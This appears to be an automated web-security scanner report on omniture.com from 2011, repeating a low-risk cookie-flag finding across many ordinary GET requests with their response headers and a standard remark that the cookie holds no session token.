GET /ko HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:56:23 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:56:23 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:56:23 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=11; expires=Sat, 05-Mar-2011 05:56:23 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:56:23 GMT; path=/; domain=omniture.com Content-Length: 36389
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//ko" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="ko" lang="ko"> <head> <title></title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/100 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:31 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:31 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:31 GMT Content-Length: 13429 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:31 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketer's Segmentation ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/101 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:42 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:42 GMT Content-Length: 14068 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>7 Steps to Increasing Website C ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/102 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:57 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:57 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:57 GMT Content-Length: 13704 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:57 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>7 Advanced Steps to Effective S ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/107 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:18 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:19 GMT Content-Length: 13851 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>BabyCenter: 67% Increase in Con ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/108 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:34 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:34 GMT Content-Length: 14378 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Lastminute.com Achieves a 28% I ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/158 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:27:55 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:27:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:27:55 GMT Content-Length: 13637 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:27:55 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Defining the Online Marketing S ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/162 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:27:57 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:27:57 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:27:57 GMT Content-Length: 13965 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:27:57 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>How to Exponentially Increase C ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/17 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:19 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:19 GMT Content-Length: 15402 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:19 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>3 Proven Approaches to Deliveri ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/170 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:33 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:33 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:33 GMT Content-Length: 13945 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:33 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture SiteCatalyst 14: Actio ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/186 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:26 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:26 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:26 GMT Content-Length: 13697 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:26 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Discover: A New Dimens ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/187 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:44 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:44 GMT Content-Length: 14318 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture SearchCenter: Automate ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/191 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:36 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:36 GMT Content-Length: 13992 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Genesis: Introducing ' ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/285 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:26:15 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:26:15 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:26:15 GMT Content-Length: 13697 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:26:15 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Multichannel Measurement:Strate ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/286 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:12 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:12 GMT Content-Length: 13629 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe.. Test&Target, powered by ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
